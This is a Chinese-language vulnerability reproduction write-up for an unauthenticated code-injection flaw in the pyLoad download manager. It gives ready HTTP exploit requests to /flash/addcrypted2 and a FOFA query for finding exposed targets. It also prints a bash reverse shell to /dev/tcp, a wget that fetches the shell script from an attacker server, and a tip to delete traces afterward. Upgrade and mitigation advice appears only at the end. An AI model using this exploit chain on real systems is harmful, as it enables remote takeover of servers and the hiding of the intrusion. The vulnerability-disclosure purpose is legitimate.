1、产品简介
pyLoad是一个用 Python 编写的免费和开源下载管理器,可用于NAS、下一代路由器、无头家庭服务器以及任何能够连接到互联网并支持 Python 编程语言的设备。
2、漏洞概述
pyLoad 存在代码注入漏洞,未经身份验证的攻击者可以通过滥用 js2py 功能执行任意 Python 代码
3、影响范围
影响版本:
pyLoad <= 0.4.20
另外,小于0.5.0b3.dev31版本的pyLoad开发版本也受此漏洞影响。
不受影响版本:
pyLoad > 0.4.20(正式版本尚未发布)
另外,官方已更新pyLoad安全开发版本0.5.0b3.dev31可供下载。
4、复现环境
FOFA搜索关键字"pyLoad"
5、漏洞复现
访问首页bp抓包,发送Repeater模块
POC如下:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("执行的命令");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
dnslog平台判断漏洞是否存在
成功请求dnslog平台了,漏洞存在
6、漏洞利用
这里准备直接反弹shell,尝试了几遍各种方法,都无效(知道的大佬指点一下)
换个思路getshell,既然目标出网,那让他去下载恶意脚本来获取shell
准备payload
vi 1.sh
!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6666 0>&1'
利用python来搭建http服务器
python3 -m http.server 8000 #空闲端口且开放访问策略
exp:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("wget%20http://x.x.x.x:8000/1.sh%20-O%20/tmp/shell.sh");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
可以看到已经下载了恶意脚本
vps开启监听,执行恶意脚本
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("/bin/bash%20/tmp/shell.sh");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
成功反弹shell(测试完记得把脚本和记录删了,别留痕)
7、修复建议
1.版本升级
目前该漏洞已经在最新开发版本中修复,受影响用户可通过下载github发布的master分支构建程序:
https://github.com/pyLoad/pyLoad
也可通过PyPI直接安装最新版本:
pip install --pre pyload-ng
2.缓解措施
1) 在pyLoad中禁用pyimport功能。
在src/pyload/core/utils/misc.py文件中,
import js2py
+js2py.disable_pyimport()
2)在业务允许的前提下,将系统部署在内网,减少外部暴露面。
版权归原作者 zxl2605 所有, 如有侵权,请联系我们删除。